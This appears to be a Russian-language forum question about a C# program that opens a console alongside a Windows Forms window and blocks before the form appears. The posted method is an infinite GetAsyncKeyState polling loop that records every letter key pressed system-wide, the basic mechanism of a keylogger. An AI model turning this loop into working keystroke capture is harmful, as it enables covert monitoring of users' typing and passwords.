Я пытался найти решение, но ни один из них не помог. Мне бы хотелось, чтобы программа включала Windows Forms и консольное приложение одновременно. Но всякий раз, когда я помещаю код, подобный этому:
static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
NativeMethods.AllocConsole();
Checklogs.LogLogic();
var form = new Form1();
NativeMethods.FreeConsole();
Application.Run(new Form1());
form.Show();
}
Он показывает только консоль. Но когда я удаляю код Checklogs.LogLogic оттуда. это показывает все. Кто-нибудь знает решение? Код Checlogs:
public static void LogLogic()
{
int l = 0;
int t = 0;
while (true)
{
//read
for (l = 65; l < 91; l++)
{
t = GetAsyncKeyState(l);
if (t == -32767 && GetAsyncKeyState(0x14) != 0x14)
{
Console.WriteLine((char)(l + 32));
}
else if (t == -32767 && GetAsyncKeyState(0x14) == 0x14)
{
Console.WriteLine((char)l);
}
}
}
}